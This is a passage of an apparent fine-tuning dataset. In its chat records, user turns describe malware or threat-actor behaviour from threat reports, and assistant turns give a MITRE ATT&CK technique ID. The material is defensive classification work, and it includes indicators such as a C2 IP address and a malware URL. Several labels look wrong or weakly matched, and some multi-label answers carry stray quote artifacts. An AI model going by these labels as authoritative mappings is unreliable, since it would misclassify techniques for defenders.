                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may create a file containing the results of the command cmd.exe /c ipconfig /all."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The updated module is called tvncDLL and allows the threat actor to monitor the victim and collect information that would enable pivoting to valuable systems on the network"
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT uses a custom encryption algorithm on data sent back to the C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EnvyScout can determine whether the ISO payload was received by a Windows or iOS device."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has created a scheduled task to execute a .vbe file multiple times a day."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerPunch also provides an excellent example of this. The key is applied to an executable payload downloaded directly from adversary infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for clarity"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has compiled the source code for a downloader directly on the infected system using the built-in \"Microsoft.CSharp.CSharpCodeProvider\" class."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can user PowerView to execute “net user” commands and create local system accounts."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Thrip has used WinSCP to exfiltrate data from a targeted organization over FTP."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LBTWiz32.exe that is run is a normal program. However, the malicious DLL (LBTServ.dll) created on the same path through DLL hijacking is loaded and starts operating. The malicious DLL creates and executes a malicious VBE file (ReVBShell) in the %TEMP% folder. Figures 2 to 4 show parts of the decoded VBE code."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used post-exploitation tools including RemCom and the Non-sucking Service Manager (NSSM) to execute processes."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gains persistence by adding the Registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scheduled Task. It was quite common to see scheduled tasks used to create persistence for the ransomware executable, PsExec, and occasionally some defense evasion batch scripts."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor_DNS was able to stay under-the-radar by using specific execution flags. If these command-line arguments are not supplied, the Anchor_DNS terminates"
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can steal passwords from the KeePass open source password manager."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "https://raw.githubusercontent[.]com/r1ng/news/master/README.md The malware accesses the URL and decodes the characters between the string “[Rudeltaktik]” and character “!” using BASE64. Rudeltaktik]MTE1LjY4LjQ5LjE3OTo4MA==! UBoatRAT uses a custom command and control protocol to communicate with the attacker’s server. The malware places the string '488' (0x34, 0x38, 0x38 in HEX) at the top of the payload or instruction and encrypts the entire buffer with the static key 0x88 by using simple XOR cipher. Then the network payload always starts with 0xBC, 0xB0, 0xB0"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN5 uses SDelete to clean up the environment and attempt to prevent detection."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one case the attackers used one module for taking screenshots and another for uploading them to the C&C server"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the computer name, the BIOS model, and execution path."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of using Windows hook interfaces for information gathering such as credential access."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The keylogger then records keystrokes in encrypted files, for example: thumbcache_96.dbx"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team's plainpwd tool is a modified version of Mimikatz and dumps Windows credentials from system memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC1945 employed anti-forensics techniques with the use of a custom ELF utility named LOGBLEACH. The actor used built-in Linux commands to alter the timestamps of files and directories and used LOGBLEACH to clean logs to thwart forensic analysis, as seen in Figure 4."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDAT can also embed data within a BMP image prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can identify targets by querying account groups on a domain contoller."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has called \"ZwWriteVirtualMemory\", \"ZwProtectVirtualMemory\", \"ZwQueueApcThread\", and \"NtResumeThread\" to inject itself into a remote process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ has been disguised as a Windows security update service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It registers as a system service to ensure its automatic execution at every system startup by adding the following registry keys"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can remove files from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On October 28, we observed APT3 sending out spearphishing messages containing a compressed executable attachment. The deflated exe was a variant of the same downloader described above and connected to 198.55.115.71 over port 1913 via SOCKS5 proxy. The secondary payload in that case was detected as Backdoor.APT.CookieCutter (aka Pirpi) and also named newnotepad.exe (MD5 8849538ef1c3471640230605c2623c67) and connected to the known APT3 domains"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy', 'T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used the \"quser\" command to show currently logged on users."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another  malware sample checks for the presence of the following Registry key:HKEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. and only continues if the file exists. 3) Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. 6) Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. and only continues if the file exists"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoors they are deploying are difficult to detect and a significant threat to the privacy and security of enterprises, allowing attackers to steal information, delete files, install malware, and more"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks) Both the redirect code on the compromised site and the exploit code appear and disappear, indicating that the adversaries add the code when they want to leverage the SWC and remove the code when it is not in use to limit the visibility of their operations"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has added RSA keys in \"authorized_keys\"."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cadelspy has the ability to steal data from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Net Crawler uses a list of known credentials gathered through credential dumping to guess passwords to accounts as it spreads throughout a network."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors sent spearphishing emails containing a malicious link."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to delete files from the file system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Essentially, we are discussing ongoing activity revolving around several malware families:  KopiLuwak and IcedCoffeer Carbon Mosquito WhiteBear  Technical Rattle Turla’s Shifting to Scripting KopiLuwak and IcedCoffee, WhiteBear, and WhiteAtlas Since at least 2015 Turla has leveraged Javascript, powershell, and wsh in a number of ways, including in their malware dropper/installation operations as well as for implementing complete backdoors"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SslMM identifies and kills anti-malware processes."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As part of the exploitation process, the above value will be written to the registry under the %windir% variable, and deleted after execution"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nonetheless, the infected DLL contains just one method (named DynamicRun), that can receive a C# script from a web request, compile it on the fly, and execute it"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie can use ICMP to receive information on the destination server."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SodaMaster can search a list of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has staged data remotely prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 renamed software and DLL's with legitimate names to appear benign."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. Initially, they will hide the main spreadsheet that requested the user to “enable editing”, then unhide a secondary spreadsheet that contains the decoy, to avoid raising suspicion. Otherwise, the macro will open a temporary %ProgramData%\\winrm.txt file and save a VBS stager to %ProgramData%\\winrm.vbs and set up registry keys for persistence. Otherwise, the macro will open a temporary %ProgramData%\\winrm.txt file and save a VBS stager to %ProgramData%\\winrm.vbs and set up registry keys for persistence. 5) Ferocious run-1: After the macro finishes writing to disk, it runs winrm.vbs using explorer.exe. The VBS script will also add two important registry keys for persistence. The persistence technique observed in all intrusions uses COM hijacking. In this technique, the threat actor is able to add a Class ID in the current user registry hive (HKCU) referencing the malicious VBS script written previously to %ProgramData%\\winrm.vbs. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. 6) Ferocious run-2: The macro will continue after the cleanup by recreating and opening the same files, winrm.vbs and winrm.txt"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. We conducted dynamic analysis to observe network and system behavior once it infected our Windows OS. We then conducted a static analysis to examine Lokibot’s techniques and targets. The response for this request is a customized 404 page, which can also be detected using Suricata signatures provided on the Malpedia page cited above as well. We also noticed that the value of the sub key is the path to the file that Lokibot created after its initial execution. There are no unusual sections, and the size and distribution of the sections, especially .text, mirrors a standard unpacked binary (Figure 6).File Metadata and StringsThe binary is a PEx86 binary, which can be run on both x86 and 64-bit Windows OS. This is a strong indication that the binary is a .NET library, because mscoree.dll and _CoreExeMain are primarily used to load .NET binaries. Figure 9Hollow Process; Manually Unpacking the First Stage BinaryWe tried to follow the binary with a debugger to determine where it unpacked itself in the memory, but Lokibot used a hollow process technique to obscure some of this activity. Because the malware was loaded into vbc.exe, the process viewer will show it as a legitimate process, making it more difficult for a user to identify"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has added Registry Run keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CaddyWiper has the ability to destroy information about a physical drive's partitions including the MBR, GPT, and partition entries."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The FunnyDream ScreenCap component can take screenshots on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dlpumgr32.exe, a legitimate signed file that belongs to the DESlock+ product - DLPPREM32.DLL, a malicious DLL sideloaded by dlpumgr32.exe that loads and decodes DLPPREM32.bin - DLPPREM32.bin, a shellcode that decompresses and loads a launcher in memory - data.res, an encrypted file decoded by the launcher and contains two SysUpdate versions: one for a 32-bit architecture and another for a 64-bit architecture - config.res, an encrypted file decoded by the launcher and contains the SysUpdate configuration, such as the command-and-control (C&amp;C) address"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dbghelp.dll is incompatible with DEP (Data Exception Prevention), as shown in Figure 14. Thus, when it loads the operating system will disable DEP for the injected wmplayer.exe process. This means that code can be executed from memory regions that are not marked as executable in the context of this process"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak downloads an executable and injects it directly into a new process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz can use DLL hijacking to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It creates the folder \"\\ProgramData\\AuditService\\\" and copies the clean file \"lsass.exe\" (taken from \"\\Windows\\System32\\\") into the folder. The tainted \"services.exe\" installs \"\\ProgramData\\AuditService\\lsass.exe\" as an autostart Windows service named \"Audit Service\". When the new \"lsass.exe\" service autostarts, the malicious file \"sspisrv.dll\" sideloads in the same folder. lsass.exe\" will eventually crash because of a failure to load other dependencies"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service', 'T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can persist by modifying a .LNK file to include a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs whoami on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used ProcDump to dump credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used by Group5 is capable of watching the victim's screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
